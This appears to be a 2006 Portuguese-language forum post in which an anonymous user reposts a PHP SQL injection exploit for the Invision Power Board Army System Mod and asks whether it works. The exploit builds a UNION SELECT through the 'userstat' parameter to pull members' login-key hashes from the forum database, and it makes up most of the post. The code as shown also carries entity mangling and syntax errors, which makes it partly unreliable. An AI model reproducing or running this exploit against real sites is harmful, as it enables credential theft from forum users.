Exploit por favor alguém dê uma dica!

Started by Anonymous, 04 de April , 2006, 02:14:17 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Pessoal dê uma olhada nesse exploit e vê se funciona! Obrigado!Vulnerable Systems:
 * Invision Board: 2.0.0 Final PHP: 4.1.0 and above
 * Invision Board: 2.0.1 PHP: 4.3.0 and above
 * Invision Power Board Army System Mod 2.1 and prior

Exploit:
<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2&#46;1 SQL Injection Exploit
Tested on&#58; Latest version (2&#46;1&#46;0)
Discovered on&#58; 06&#46;02&#46;2006 by Alex & fRoGGz
Credits to&#58; SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2&#46;1&#46;x with Army
System Mod 2&#46;1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE&#46;
*/

$target "http&#58;//site&#46;com/forums/"// <--- Where ?
$prefix "ibf_"// <--- SQL prefix ?
$id 1// <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!
get_infos($target,$prefix,$id)) echo "failed";

function 
get_infos($target,$prefix,$id) {

    
$inject "index&#46;php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
    
$inject&#46;= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
    
$inject&#46;= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
    
$inject&#46;= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
    
$inject&#46;= "NULL+FROM+"&#46;$prefix&#46;"members+WHERE+id=";

    
$filename $target &#46; $inject &#46; $id;

    
$handle fopen ($filename"r");
        
$infos = array();

        if (
feof($handle)) { continue 2; }
        if ( 
$handle ) {
                while ( (
$buffer fgets$handle )) )
                {
                        if ( 
strpos$buffer"<td class='pformleft' width=\"35%\">Name</td>") ) {
                                
$infos['md5'&#93; = strip_tags ( fgets( $handle) );
                
break;
                        }
                }
        }

    
fclose ($handle);

        if (
count($infos) == 1) return $infos;
        return 
false;
}
?>


Retirado do site: http://www.securiteam.com

Sobre: Invision Power Board Army System Mod SQL Injection Exploit